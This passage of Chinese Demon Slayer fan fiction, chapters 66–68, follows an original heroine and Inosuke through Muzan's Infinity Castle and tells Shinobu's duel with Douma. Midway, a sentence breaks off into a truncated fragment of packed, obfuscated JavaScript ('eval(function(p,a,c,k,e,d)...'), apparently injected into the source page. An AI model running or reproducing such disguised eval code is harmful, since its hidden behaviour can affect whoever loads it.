炎之呼吸的凶猛、岩之呼吸的锤炼、音之呼吸的横贯、虫之呼吸的连绵、恋之呼吸的轻盈、霞之呼吸的迅疾、风之呼吸的包围、蛇之呼吸的精准、水之呼吸的流畅,还有灶门炭治郎那祈求的神舞——火之神神乐,常年不息地运转在剑士身体中的呼吸法早与他们的本能绑定,在爆发的瞬间共同蓬发,所有人统一地运转着自己最擅长的技能,挥出刀刃。 目标是,鬼舞辻无惨的生命。 但。 世界有一瞬间的寂静。 呼吸与心跳的声音也被掩去,风声与火声则静止,明明被困在刀刃的包围之下狼狈不堪,鬼舞辻无惨却像是在那瞬间获得了力量的源泉。 所有人都看见了他勾起唇角,那是一个堪称讽刺的弧度。 而在那一刻的寂静中,与他笑声相伴的还有一声清晰得不得了的三味线。 “你们以为这就把我逼上绝路了吗?”男人抬起脸,那个狂妄的笑容拨弄着众人的情绪,将之不断推向愤怒的顶点。 “你们接下来要去的地方,才是地狱呢!” 而地面上,倏地平白铺开数扇和式木窗。 窗户自己打开,露出地下昏黄如昼的灯光。他们不再能够控制自己的身体,引力的作用消去,只能落入其中。 这是一个空间怪异的世界,远目望去到处是建筑,数不清的建筑部件横竖皆有,随着不断响起的三味线植物般疯狂扩张,将他们分散,各自卷入不同的区块。炼狱杏寿郎握紧了刀,在那些层层叠叠的阴影之中蛰伏着无数双充斥恶意的眼睛,这里毫无疑问,正是鬼舞辻无惨真正的大本营。 他看见了甘露寺蜜璃和伊黑小芭内的身影,其他的柱大约分割得更开,已经寻觅不到。与此同时,除了他们还有许多的人同样掉进这片空间,正顺着这股力量不断落下。凭借优秀的视力,炼狱杏寿郎能清晰地分辨出那都是穿着鬼杀队队服的成员。 ……心头忽然一紧。 他想到被鎹鸦引导至鬼杀队山中的有栖川朝和。 瞬间慌乱的心使他试着巡视四周,却看不清哪个像她,或哪个像猪头少年。明明是为了带她去到更安全的地方,却弄巧成拙把她带入战场的这个认知这一霎凌迟般刺痛炼狱杏寿郎的心扉,他试图挥刀在凸生的构建上定住身形,然而不等停止,下一刻再次响起的三味线却将他又送入坠落。 “朝和!”他大声叫出她的名字,不知是在宣泄沸腾的担忧,还是妄图呼唤到自己的挚爱。 但下坠仍未停止。 下坠。 下坠。 无尽的下坠…… 房屋会突兀地瞬间搭建在前方,又或者瞬间从身后消失,有时几乎以为身体与那些房屋的一角擦肩而过。我惊惶地发现热烈的灯火外,照射不到的阴影中隐藏着面目狰狞似乎失去理智的恶鬼。 我几乎要尖叫出声,但更巨大的惊恐原来是让嗓子失去发声的功能,而只是全身绷紧。重力失效的感觉让我的心脏怦怦跳动,连携着我的耳朵只能接收到某种过于紧张才产生的燥鸣,至于其他一切感知都已经被融入下坠的风里。 我无法调整身体的姿势,在失去重力后核心的存在变得如此微茫,只能下意识伸出手试图抓住什么。 啪—— 抓住的竟然是伊之助伸来的手。 他不知道是如何在空中改变了姿势,原本盘着腿掉落的身体这会儿自然地舒展,不像在风中,倒像在陆地上那么轻松。他没说话,只是抓住我的手,同时用力将我甩向他身后。 “伊之助!”我大约是在叫他的名字,我能感受到自己的语无伦次,只能攀住他的肩膀。而伊之助在确认我不会从他背上掉落后,就用另一只手取走被我无意识地一直紧紧抱住的猪头戴好。 善于战斗的因子沸腾,山林间生长的灵魂任性冲撞,他毫不惊慌,甚至过度的快乐,露出一个高兴的笑容,背着我,握着双刀自由地下坠。 坠落的极点却始终不可见,仿佛永无尽头的深渊。 67. 筹码 背着我的伊之助仿佛在坠落中踩着空气也能站稳,我们以相当快的速度直直往下掉落,失重的无助感让我不禁攥紧了手。周围的一切划过眼角时被模糊成烂泥的颜色,什么都看不真切。 不知道过了多久,伊之助身轻如燕地利落站定在地面。他踩定的步伐并不沉重,与其说是着陆,倒像是那块地面迎合了我们的到来。我感到一阵难言的不安——不安是自然的,早在下坠之前,或许在我上一次见到主公的时候,这种不安就已经如同蚂蚁啃噬般紧紧藏在我的心中,如影随形。 我本该更自若地摆出自己的态度,但放眼望去,无论是我还是伊之助,沉浸在烛光之中的我们心里都是一阵无言。这是一片庞大到简直恢宏的建筑群,一眼望去看不见边界,无论是头顶、脚底还是四周,满目只有堆叠在无限空间之中的古朴和屋。比我从前见过的任何建筑奇迹都要神奇,它不像是真实存在的造物,倒像是我一个光怪陆离的梦。 我吞咽了下。 原本安静的烛光忽地摇曳起来。但空气中并未出现风的流动,我只能从烛焰摇晃的方向判断异变的源头似乎来自于那一间间紧闭着推门的和屋。 突变就在刹那间。 砸碎寂静的是被猛然破开的推门,一群长相狰狞到已经完全失去人形的鬼多米诺骨牌似的从屋内倒了出来,它们并不具备理智,只在原地推搡挣扎着站起后便立刻毫不犹豫地凶悍地扑向我们。 “伊之助!小心!” 比我的尖叫声更快的是伊之助出刀的速度。 我没怎么见过伊之助战斗的样子,因此对他的呼吸法也不甚了解,只在杏寿郎他们的口中得到些许信息,拼凑出一个模糊的印象。 伊之助是在森林中被野兽抚养长大的孩子,他眼中的世界构成与常人有异,也正因如此,他向来更率简单、凭借直觉行动。有浅溪就淌过去,有沟壑就跳过去,有危险就打过去。战斗是山林之子的本能,也是他的命运,他注定要向拦在面前的一切挥刀、斩落。 横过双刃,背负着我也丝毫不影响他的动作,就仿佛我轻若无物,而他也并不在意我的感受,只是兴奋地大笑起来,将运转在体内的呼吸法调转至全身,化为刀刃上闪烁的锋芒,尽情砍下鬼的头颅。 “猪突——猛进!” 我被迫压下身体,尽可能扶住伊之助的肩颈。 但我不能轻松地把所有任务都交给他,战斗总有疏漏,我可以守护他的背后。 “砰!” 子弹近距离射中袭来的鬼,它那丑陋的头颅被弹壳炸开的威力洞穿,炸出一团血雾。我的心脏正激烈地怦怦跳着,踩着一个又一个慌乱的鼓点试图吸引我的关注,但我一直保持着高度的专注,视线不断逡巡着周围,有些奇怪。我见过刚刚转化的鬼,也见过能够运用自己血鬼术的鬼,两者的区别绝非只是吃过人。之所以能变成鬼,从转化者身上获得的血液是相当重要的一个前提。但并非每个人都能承受大量的鲜血,给予过多时往往会导致被转化的对象彻底崩坏为怪物或者干脆死去。 但今天我们所遇到的鬼,仅从规模来说如果只是少量血液的转化不应该如此强劲。子弹击中的效果虽然也在我的预料之中,但并不够完美。这足以说明从方才开始我们所遇到的鬼比寻常的鬼要更强大一些,而代价或许就是他们彻底损毁的理智与完全崩坏的人形。在它们蠕动的、摇摆的肢体中再也看不出从前身为人的样子,我也无法分辨它们沦落至此究竟是自愿还是被迫。 可惜结局只有一个。 伊之助的训练成果斐然,我们穿行在弯折的走廊之中,一路过来没有一个鬼逃脱他的齿刃。 在这座看不见天光的建筑中,一切方向或时间的分辨都只能依赖于体感,而我随身携带的机械手表不知为何停止了转动,或许是磁场的缘故?我猜测着,任由直觉控制自己的内心。距离方才我们着陆的地方已经有了一段相当的长度,但在这座建筑内的旅行依然没有到达终点。一段路途后是毫无规则可言的转弯。在大脑中尝试勾画出线路的样子以铺开建筑的外形,仅仅我们踏过的地方,面积粗略估算已经快要胜过有栖川宅邸,总觉得伊之助再背着我跑下去能在这里跑出一个长度可以环游日本的马拉松。 我试着和他沟通:“伊之助!这边似乎已经没有鬼了,你放我下来吧?”本该笃定的话语在说出口时不觉带上了商量的口吻,得到的答案却还是那句一成不变的:“太慢了!” 他似在抱怨又似在解释,只一刻不停地奔跑,直到我们都听见一声三味线的声音。 在前方的转角处,伊之助背着我和同样跑来的少女撞了个正着。 黑色的长发在一侧扎成马尾,佩戴有蝴蝶的头饰,紫色的迷雾般的双眼、鬼杀队制服外雪白的披风。与我们相遇的不是别人,正是栗花落香奈乎,胡蝶忍的继子。事实上我与她私交不多,但鉴于我经常去蝶屋寻找忍,恰好她也是个黏人的孩子,没任务时永远在蝶屋出没,我和她还算熟悉。 三人撞得摔了一地,我一时不知自己是要庆幸不用再被伊之助背着了,还是高兴可以确定多一个人安好。但那声三味线正回响在我的脑海中,久久没有散去,被香奈乎拉起来时我还有些眩晕,好像自己成了紧紧拢在三味线上的那根弦,被拨子划过,用自己的灵魂发出奏鸣。 我还听见杏寿郎叫我的名字。 但此间一无所有,仿佛幻听。 “朝和小姐,您没事吧。”香奈乎小心翼翼地扶起我并检视着我全身。伊之助在摔倒前及时调整了身体姿势,我虽摔得有些轻微疼痛,但并没有伤到紧要的地方,见她神情焦虑急忙拉住她的手,轻声安慰道:“没事的。” 这孩子一副慌乱无比的样子,她一贯的自若神情压不住那份紧迫,已经让它逃脱了五官的遮掩,张牙舞爪地展现出她的无措。 “怎么了,香奈乎?” 握在我手中的那只冰冷的手腕轻轻颤抖着,不知为何让我想起月夜里摇晃的竹影,那些缭乱繁杂的叶影总晃出美丽的倒影,但却能在每一次你想要伸手去触碰时碎裂。 我问道:“发生什么事了吗?你看起来怎么这么着急?” 那双同样是雾紫色的眼眸,比胡蝶忍更明亮有神,透过这片紫色,看不到晦暗的秘密。而藏有秘密的那双眼的主人,也并不在此地。但每当我看到她时,脑海中总不由自主闪现出胡蝶忍年幼时的样子——这么说或许不对,忍的年龄与我相当,香奈乎只比我们小两岁,原本不该存在如此深切的隔阂,但人的经历各有不同——在遭遇姐姐的死亡之前,胡蝶忍一定和世界上其他任何一个寻常的女孩子一样能笑能哭,不必压抑着自己对于父母死去而产生的悲伤,也不必隐藏自己因为无法斩杀恶鬼以报仇的愤怒,她是那么简单、清晰、易懂。 “我……”少女的声音末尾不知为何缀着沙哑,她无声地张开唇,有音节从中偷溜,却忘了带上声音。 栗花落香奈乎怀揣着那些复杂的情感于此时再一次坠入无法言语的世界,只因为对于未来的恐惧已轻松胜过那些黑暗的过往,往复的晦暗如影随形,编织成全新的噩梦。 她反攥住我的手,力气大得惊人。收紧的手指捏得我手臂上皮肤发白,已经轻轻泛起疼痛。但我顾不上那么多。 “到底怎么了?香奈乎!”我追问着。还没有得到回答,某种堪称荒谬的猜想已经如同预言显现般降临,轻飘飘地攀上我心间,在刹那间席卷为破坏力惊人的风暴,正肆意地损毁理智构建的一切。 香奈乎用力闭眼,再睁开,眼中含着的晶莹润湿眼睫,看向我。 四目相对。 她平复着呼吸,哭腔拽着她的心绪踽踽独行:“老师她……” 我的心跳乱如擂鼓,嘈杂声被坚强撑起的理智踩在脚下仍然没有止息。 在沉默中过了会儿,香奈乎调整过情绪,尽可能一字一顿地说起胡蝶忍的事。 那是发生在柱合训练期间,珠世小姐来到鬼杀队后的事。我早该明白的——常常以笑示人的胡蝶忍,大概许多普通鬼杀队员都不曾见到过她情绪失控的样子——她连一贯挂在脸上的微笑都难以维持,满目冰寒地大步走向后院的正屋,映入眼帘最显眼的唯有摆在正屋最中间的姐姐的相片。和胡蝶忍长得几乎一模一样的女人对着镜头笑弯了眼,她是如此美丽,但命运却偏爱开如此玩笑,在紧要时刻让幸运总是差人一步,最终时间定格,凝固她的音容笑貌化为回忆中灰白的倒影。 “师父她知道了杀死香奈惠大人的凶手究竟是谁……”她声线颤抖地向我描述那天的场景。 阳光照射不到的室内,面前是逐渐坦率起来的弟子,身后是永恒定格的逝去的姐姐,明明看着未来逐渐变得明朗,但那时,胡蝶忍的心里究竟在想着什么呢? 在此前忍一直知道杀死花柱大人的鬼有着什么样的外貌与言行举止,但却并不知道那个鬼的身份和具体长相。即使有了我和杏寿郎在万世极乐教所看到的场景作为佐证,也仅能让大家确定那个鬼的存在与身份——上弦之二——鬼杀队蔓延千年都难得一见的存在。即使是如今在大家的努力之下合力斩首了几位上弦,但就鬼杀队的了解,上弦之中实力的差距可谓天差地别,越往上数鬼存活的时间越是久远。 不算当初没有展现全部实力的上弦之三,而只说成功被灭杀的上弦之四与上弦之五,从我所亲眼看到的景象来说,二人之间就拥有着绝对的实力鸿沟。即使无一郎是柱之中天赋卓绝的佼佼者,仅被他一人就顺利斩首的玉壶固然强大,但终究只存在一个本体,自身的缺陷也相当明显,而被炭治郎他们几人联合灭杀的憎珀天凭借着自己的血鬼术将自身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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世界潮湿起雾,泛滥的悲郁中我与香奈乎相对无言,她一直紧紧握着日轮刀,慌乱的神情也在这一刻的坦诚下染成一种无法言说的疼痛。我是独女,家族中旁系的兄弟姐妹不少,但相处并不亲厚,相识的朋友大多也只是能一起看歌剧、品尝下午茶,用以彰显家族与家族间紧密联系的象征。 因利益联结而建立的关系如玻璃,美丽易碎,要求完整的真心是一种奢望。 当年龄慢慢长大,渴望拥有一个姐妹的愿望就愈发强烈,我们互为对方的支柱、依靠,互相理解包容、互相学习成长。 但这样的人,直到来到日本我才遇到。 从第一次在鬼杀队见到胡蝶忍,到之后因为药物研究一次又一次地上门打扰,最终演变成闲来无事我便会去往蝶屋,那段路大约是除去我前往炼狱宅最熟悉的路途。一次又一次的会面,她看向我时总不由露出微笑、脱离生疏对我称呼以名字,蝶屋中特意整理准备好的卧室,还有将一切坦然相告后在充盈着药味的实验室中我们紧紧地拥抱。 我没有看到过胡蝶忍的眼泪,却仿佛已经陪她狠狠哭泣过。 我们所见到的忍有着不同的特质,在香奈乎面前她是可靠的老师,于我来说则是温柔的姐妹,但无论感受到的是怎样的胡蝶忍,终究是同一个人。 我垂下眼。 眼睑微合,唯有这样才能让蕴湿眼眶的泪水不流下。 但这并不是我想要的结局。 她是我最重要的朋友。无论最终的结局会是怎样,我都不希望,也做不到眼睁睁看着她转身离去。 香奈乎感应到我的情绪变化,却不知道要怎么安慰我,只能用她的目光关切我,双手握住我的手掌,从她指尖传递来的热意驱散了我掌心的冰冷。或许正因为对于蝴蝶忍,我们爱她的心是一样的。 我深吸一口气,将情绪压下,收拾了全部的猜测,让自己变回冷静的那个有栖川朝和。 空气顺着气管灌进肺里,凉意冻得喉口微僵。 不知为何…… “好冷!”刚才一直沉默地看着我们的伊之助突然说道。 ……确实,不知从什么时候开始,四下里静得诡异,先前层出不穷的鬼都消失了,只余下我们站立处的烛光在默默燃烧。除此之外,连我们自己的呼吸都几难听闻。 冷意无声无息地铺开,等到察觉时,暴露在衣物之外的皮肤已经能够清晰地感觉到凉。 香奈乎和伊之助对于外界的变化还有些不解,我脑海中却忽然闪出那个午后的万世极乐教寺庙。从那间避光的后室破开的小小窗口中,悠然飘出一朵冰莲,晶莹剔透的花瓣看着美轮美奂、似真似梦,但不等靠近,我就能从灵魂深处感受到一阵刺骨的冰冷。 冷得让我在白日阳光下打颤。 “是……是那个上弦之二的血鬼术!”挤出我喉咙的声音因为焦灼的内心而嘶哑,随之而现的是更压抑的死寂。 无需言语,我们来不及交换眼神,伊之助耸动鼻子嗅闻着空气中的味道,胡蝶忍常年浸在药物的实验室中,她身上总有一种奇特的药香。野兽的出色嗅觉让伊之助在这无边的空间中捕捉到那股药香,他一马当先冲在前面:“这边!” 我和香奈乎跟随着他,往这复杂如迷宫的叠嶂之中、更冷的深处冲去。 68. 蝶毒 到处都是鲜血。 广阔的空间内,无端在这交叠的和屋中铺建出一片湖泊,木制构建在湖泊上又蜿蜒搭叠出桥梁般的走道,夹杂在鲜血味中芳香四溢的源头竟然是那湖泊中一丛一丛摇曳的莲花。鲜妍美丽的莲花伸出细细的枝干,挺直着开出一朵又一朵饱满的花。大多莲花是粉色,与寻常见到的那些并无不同,重瓣的莲花正中是鹅黄的花蕊,在空气中传达着生机勃勃的香味。 但这一切却存在于一间金碧辉煌的广间之内,与屋外朴素的走廊不同,室内装修极尽奢华,仿佛处处镶金描银,每一幅门扇之上皆以莲花作为装饰,刻画得栩栩如生,映衬着湖泊中的莲花。 一切都显得那么怪异与不匹配。 胡蝶忍看着廊桥上一具又一具瘫倒的年轻女子的身体,从她们的体内,那些未尽的血由罪恶的伤口中流出,覆盖木质,蔓延成死气,终于打乱了室内的气息。 而坐在那些少女中间的,是一个穿着僧侣般的服装、满脸鲜血却还能笑得出来的男人。他毫无负担地露出一个说得上是温柔的笑容,那张放在人类中俊美异常的脸便被这笑容带着更加夺目了。 “初次见面,我是童磨。”他抬起自己的帽子,不伦不类地行着见面礼,露出金色头发顶一块如泼了血般鲜红的痕迹,声音平稳温和,“真是个不错的夜晚啊。” 姐姐临终前对凶手做出的描述正在胡蝶忍的脑海中一一复述,她面无表情地看着面前的男人,说不上自己心中的感受究竟是怎样,只是心潮如此平静。似乎从未如此平静过。 直到那些纯白的尸体中残存的活口挣扎着向胡蝶忍伸出手,那张年轻的面孔因为惊惧显得如此脆弱,眼眶瞪大,瞳仁缩小,余下的全是泪。胡蝶忍轻身从那个自称童磨的鬼所发动的冰轮下救出了她,“没事吧?”询问时露出了到达这里后第一个真心的笑容,她忽略了那个聒噪的鬼,哪怕只是看到他,她都无法平静下来。 但恐惧来不及解除、安慰也来不及倾诉,比少女未能吐出的话来得更快的是鬼的攻击。快到胡蝶忍甚至来不及看清,意识清醒的下一刻,这个原本还活生生的少女脖颈处突然飙出一束鲜血。 不仅仅是脖颈。 躺在怀中的少女被看不见的利刃分割为数份,而她因脱离危险而稍微安定的面容甚至来不及感应到疼痛就滚落在地。寂静的室内,胡蝶忍亲眼看着她的头颅咕噜噜转了几圈,停下时她的面孔直直地看向自己,死亡与疼痛还没有改变她的情绪,就连眼眶中打转的泪水也来不及流下,只是一切被定格在彼时。 胡蝶忍看向自己的怀中,两手的鲜血。 脑海中一片空白。 姐姐临死前用尽最后的力气,才说出的话就这样响起:“那只鬼用的武器是……” 胡蝶忍抬头看去。 方才坐着的鬼现在已经起身站定,他手中张开一柄金色的扇子,扇面篆刻有莲花的纹样,底下缀着鲜绿的穗子,另一手上拿着的扇子则合着。 ——“锋利的对扇。” 童磨……礼貌地站起,面上神色却不改分毫,甚至勾起嘴角露出一个微笑。 “我是万世极乐教的教祖。和信徒们共同幸福是我的职责。”他随意地张开扇子,语气中没有丝毫对于自己这番用语的心虚与迟疑,理所当然得好像他真的生来负有这样的职责。“那孩子,我也会帮她吃干净的。”他就这样说道。 胡蝶忍脑袋里一团乱麻,朝和他们验证的内容在她面前浮现,一切是那么清晰明了,他就是杀死姐姐的鬼。 一个鬼,竟然在说着什么大家的幸福……胡蝶忍皱起眉,“这个人根本不想和你一起幸福,而且在向我求助。” “嗯。”童磨认同地点头应答,语气自然地说道,“所以,我不是救她了吗?” 什么……? “那孩子已经不会再痛苦,也不会再害怕了。”童磨看向少女的头颅,眼中饱含着情感,他口中的悲悯正由从他口中流淌出的文字融化为一种无法用语言描述的热切,“因为大家都怕死,所以我吃了他们。他们会和我一起活过永恒的时间。” “我接受了信徒们的感情、血液、□□,施予救赎,并引导他们到新的高度。”童磨脸上诡异地表现出无私的爱来,就好像他做得真的像他说的那么好。 理智的船被愤怒堆叠的冰山拦腰撞开,一切沉没进记忆的海,胡蝶忍因为愤怒而额角青筋直跳,任由这些极端的感情在血液中流淌,催化着命运的毒素。“疯了吧!”她咬牙切齿地说出,“你的脑子没事吗?真是令人作呕!” 上弦之二、以年轻女性为食的恶鬼,斩杀一条性命时能够面不改色,这会儿却露出因为受到语言攻击而脆弱不堪的样子,“初次见面就这么伤人啊……” “什么难过不难过的!是你杀了我姐姐吧?”他故作大度的样子让胡蝶忍心海中咆哮的浪潮推得愈发的高,沸焰煮血,燃烧意志,仇恨是点燃愤怒的薪柴,而她竭力控制理智的心弦也在童磨自以为是的开解中瞬间崩断,抓着羽织的手因为过于用力而显出青筋,“还记得这件羽织吗?” “嗯?”他恍然大悟,“是用花之呼吸的女孩吗?”童磨笑起来,“我记得哦,因为太阳出来了没能把她吃掉,我是想把她吃干净……” 就这样践踏着……姐姐……找到姐姐时她还存有气息,如果当时太阳升起再早一点、如果当时她出现得再早一点…… 听不下去了。胡蝶忍已经在无可忍耐的边缘,她抽出日轮刀,呼吸法运作,凭着这份力量将速度提到极致,猛地将刀尖刺入那生有上弦花纹的彩色眼瞳之中,想要刺穿他的大脑。隔着他举起的手,他们视线交接。 童磨没有躲开,他甚至没有因为受伤而感到生气或痛楚,脸上只因惊讶流露出一个笑容,话语更是衷心地夸赞道:“好厉害,手都没有挡下来。”话音刚落,一道圆弧形的冰瞬间生发,周围存在着栩栩如生的数朵冰莲,将胡蝶忍逼退至原位。 但她没能完全躲开,而那些冰莲也无需触碰,只是距离近些就已经侵冻至她的手臂,薄薄的冰层覆盖在皮肤之上,冰冷如刀的空气更是仿佛割裂肺部。随着呼吸法的调转而化开的冰在皮肤上依然留下了未能立刻消退的痕迹,不过胡蝶忍无暇关注,只死死看向童磨。原本被突刺刺穿的伤口已经愈合成一线,鬼的血液流下,他病态地擦过,品尝自己的味道,可惜地说道:“突刺杀不了鬼,要砍断脖子才行呢。” 突刺杀不了鬼,胡蝶忍一直知道这一点,她的呼吸法与其他柱不同,并不侧重剑招的伤害,秘密就在她的日轮刀上。特殊形式的日轮刀可以用来储□□药,战斗时将毒药以突刺的形式注入鬼的体内。等待毒发的那一刻,就是鬼死亡的时刻。 珠世来到鬼杀队后,胡蝶忍从她的身上还有她的研究中学到很多很多,她改良了自己的毒药,更借用了珠世让鬼变成人的药物模板,虽然效果不及成品的那一份,但融入她的毒药后会达成独特的效果。 只是几个呼吸之间,中毒的迹象就在恶鬼的体内蔓延,他白皙的脸上泛出一阵紫,在他意识到前毒药的效用就已经发作。 但到底没有实验对象,改良后的毒药究竟能不能对上弦发挥作用,胡蝶忍自己也不敢确信,她想着姐姐,在心中祈求。 看着鬼踉跄地扑倒,跪地呕出一大股鲜血的样子,她也不敢露出欣喜的神色,而只是一直观察着。 有多久没有这样受过伤了?童磨大约已经忘记自己吐血的样子,也或许在他漫长的生命中更是从未有过如此狼狈的时刻?但身体中鼓动的那又是什么……他捂住嘴唇,身体中催发吐血的痛苦被高效的恢复能力抑制,脸色微变,却只叫他抬脸对着胡蝶忍露出一个天真的笑来:“咦?毒好像分解掉了啊?抱歉哦,难得你给我下的!” 他毫无芥蒂地坐起,指着胡蝶忍的日轮刀,好奇得就像一个少不知事的孩童,“是在那里改变调和的吗?” 童磨双掌合十,拇指压着合拢的折扇,兴奋的样子仿佛久未同情郎会面的怀春少女,肆意张扬着自己的希冀与钦佩,“中毒真有趣,感觉会上瘾!” “下次的调和会有效吗?来试试呀!”他这仿若无物的态度,真是令人作呕。 胡蝶忍横过日轮刀,看不出什么情绪,“……好啊。”到目前为止都算是预想之内。她当然不会觉得毒药一次就能起效,这也绝非她的最终杀手锏,为姐姐报仇的这条路上,她已经做足万全的准备。 如蝴蝶般轻盈的身体跳跃在绽放的冰莲之间,与之一同闪烁的是日轮刀尖凌厉的寒光,童磨的格挡与攻击更像是对一只小猫的逗弄,总在轻易躲开胡蝶忍攻击的时候逼她退开。他脸上露出的笑容越来越璀璨,中毒的次数逐渐增加,一次、两次、三次……到第五次时,胡蝶忍对他造成的创伤只留下刀尖突刺的伤口。 毒药已经完全不起作用,这就是上弦之二的强度,几次分解后身体直接产生了耐药性。 思维在数次攻击中变得不起波澜,仇恨似乎重新隐入记忆的深海。她的呼吸变得很重,呼吸法固然能够支撑身体的动作,但攻势下自己对于身体的掌控却仿佛变弱了,从胸腔之中伴随着冰冷的呼吸蔓延出的还有一阵阵难以忽略的疼,疼痛让胡蝶忍额角满是汗珠。童磨的血鬼术能让血凝结为冰晶,经由他手中金扇的挥动,将冰呼吸进体内也就并不稀奇了。寒凉顺着每一次呼吸流淌进身体内部,将胸口也冻得冰冷。 有些知觉的存在已经变得单薄,甚至感觉正在逐渐消失,而残留的那点观感则一次又一次摧枯拉朽般带动身体的感知。胡蝶忍从自己的鼻腔中闻到一股浓烈的血腥味,铁锈般苦涩的味道浓烈得仿佛把她整个人都泡在血液中。她甚至分不清这究竟是这屋子里原本就存在的,还是仅仅从自己身体中流出的。 但她已经没有时间精力去思考这些,自身的健康又有什么用?胡蝶忍提起刀,将危险与疼痛忽略,只向童磨跳起,旋身突刺,尖锐的刀尖紧密连续地刺出数次,且一次比一次更为深入,在童磨的身体上横贯。 虫之呼吸·蜻蛉之舞·复眼六角! “哎呀,你真的好快啊!”比起感受自身的伤口,或者集中精力恢复伤势,童磨只顾着惊叹胡蝶忍的迅疾,“可能是迄今遇到的柱里最快的。” 可是。 在胡蝶忍站定的瞬间,她的身躯上无声无息地骤然出现一道可怖伤口,只有在看到伤口迸出鲜血的那一刻她才意识到自己竟然在方才被砍中了。 血止不住,锁骨和肋骨都因为这一击而断裂了,伤深可见骨,呼吸法全力运转也无法调动身体,一切变得那么渺茫。全集中明明已经让自己高度保持警惕,纰漏究竟存在于何处,为什么……她摔向地面,颤抖的手臂支撑着自己的身体,每一次呼吸都带来更为剧烈的疼痛,不仅是身上的伤,更甚至于体内的伤。 “如果不是用毒,而是用刀砍中脖子就好了。”童磨笑着看向她。 现在多像方才,只是立场转换,中伤跪地的那个人成了胡蝶忍。 “那么快的速度,说不定能赢哦。”他还是那一副轻松自在的样子,脸上瞧不出丝毫沉重,甚至还大度地帮她分析起无法战胜自己的原因,“啊——也不行,因为你个子很小嘛!”他快乐地笑起来。 “……” 胡蝶忍看向自己的双手。那染上鲜血的双手,遍布练习剑术、捣弄药材留下的薄茧与伤痕,为什么她的手那么小?为什么不能再长高一点? 身为剑士,身为以剑道斩杀恶鬼的剑士,无论四肢哪里的肌肉都有其存在的意义,当然越多越好,它们能够帮助剑道的修习,能够帮助剑士斩下鬼的头颅。在所有柱之中,像悲鸣屿先生那样魁梧有力的身形,如果来救人的话大家都会放心,因为看着就充满安全感,或者是炼狱先生和宇髓先生那样高大的男子,仅凭力量就能压制住恶鬼的行动吧?哪怕是时透先生,个子比她小,却也有着有力的肌肉。姐姐虽然同样瘦弱,个子却比她高,蜜璃更不必说了,肌肉密度是寻常人的三倍,这是与生俱来的优点,帮助她在修习的路上走得顺利无比。 即使是并不每天练习剑道的朝和,个子也生得比她高,手臂比她更有力,这亦是她的天赋。 如果……如果她能再长高一点,或许就可以砍下鬼的头颅了吧? ……姐姐……那个时候,那个劝她放弃、回归普通人生活的时候,她其实真正想说的话,她知道——“忍可能,会输给那只鬼”——她想这样说,但在看到了她的神情后最终咽下了。 比起疼痛,胡蝶忍心海中徜徉起的感受更是酸涩难当,催着眼泪盈出,让她再一次想起上一次落泪的样子。她原以为自己已经忘记了如何流泪。 应该是活到现在头一次感觉这么疲惫,寒冷的气息裹挟着困倦从脊椎一直传达到大脑,身体变得僵硬,眼睛也无法睁开…… 【打起精神来,不要哭啊!】” 姐姐的声音。是幻听吗?胡蝶忍嘴角溢出血来,她的双臂逐渐连支撑身体的力气都不在了,更遑论继续战斗。还是临死之前的走马灯?那为什么不能让她再看一眼姐姐?胸腔如同漏风的灯笼,连绵的呼吸将全身都浸泡入疼痛,敏感地扫过她的感知,一切都无法避免。流了太多血,根本站不起来,即使她想要抬头看看面前可能出现的姐姐的幻象,这细微的动作也完全做不出来。 【跟那些没关系,站起来。】 姐姐猜到了自己心里的想法吗?就像从小到大的每一次一样,姐姐是最了解自己的那个人,无论是自己的情绪还是自己的决定,了解一切的姐姐最终都会默默地支持着自己。 【既然决定去打败他,那就去打败;既然决定要赢,那就去赢。】 【不管付出怎样的牺牲都要赢,不是和我、香奈乎、朝和约好了吗?】 姐姐…… 香奈乎…… 朝和…… 无数个日夜里相伴着的她们,在失去唯一的亲人后以新的亲人的形式出现在她贫瘠的生命中的家人。好不容易变得可以坦诚地吐露自己想法的香奈乎,仅仅是听说了她的经历就会抱紧她为她而流泪的朝和……许许多多弥足珍贵的记忆在仇恨的包裹中依然熠熠生辉,她怎么会忘记?她怎么能忘记? 鬼的气息靠近了。 但血腥味消失在胡蝶忍的感知中,取而代之的是熟悉的花香,姐姐扶住她的肩膀,与她脑袋相触,数年来即使在梦中都没有如此亲近的时刻,来源于幻象的触感真实存在于她的身上,从姐姐眼眶中滴落的冰冷的泪轻盈如一阵风拂过她的面颊。 【忍可以做好的,加油!】姐姐的声音同样带着泣音,更多的则是对她无限的信任与期待。 是姐姐…… 【站起来!胡蝶忍!】 “站起来!胡蝶忍!” 是……有栖川朝和! 刀刃斩破合紧的门扉,碎裂的木屑飞扬中展露出一间华室,周遭的温度已经降低到站定时甚至让人瑟瑟发抖,但更为突出的是一阵扑鼻而来的浓烈血腥味。血的气味被隔绝在无形的空间之内蔓延,在冰冷的空气中摇晃,尽情宣告死亡的到来。来的路上我的心一直紧绷着,快步的奔跑扰乱了我的呼吸,却让我的感受变得更加鲜明。很快,不仅仅是伊之助,就连我都嗅到了这股清晰的血腥味。 我再一次想起那个深邃的夜。当时坐在高速奔驰的汽车中的我怀揣着同样的惊慌与焦虑,以为幽深的夜晚永远都不会结束。 缤纷色的鬼正快步走向跪伏在地上、摇摇晃晃试着站起来的胡蝶忍,他脸上毫不遮掩的歉意与担忧构成一种疯狂的残忍。“对不起、对不起……”他重复着这样诚恳的道歉,温柔的声音细腻如有情人的呓语,脚下的步伐更是不停,像一个放学的孩子欣喜地奔向欢快的自由。不知是高兴自己获得了新鲜的特级食材,还是回味着方才对他而言玩乐般的战斗。 “我马上把你的头砍下来,别太勉强了哦!”用着关切的嗓音说出这种话。 这个疯子! 明明是地狱里肮脏的恶鬼,却自比成圣洁的天使,他就这样欣喜地走向胡蝶忍,就这样带着对死亡的宣判走向我的忍…… 身体本能地深呼吸。一次又一次,不知是空气中冰凉的因子割伤我的肺叶,还是怒火果真点燃了心海中咆哮的力量,喉头竟然升起一阵腥甜,无论如何吞咽都压不下去,味道甚至蛊惑了我的知觉,让触感消失,而旁的一切变得更加精准。 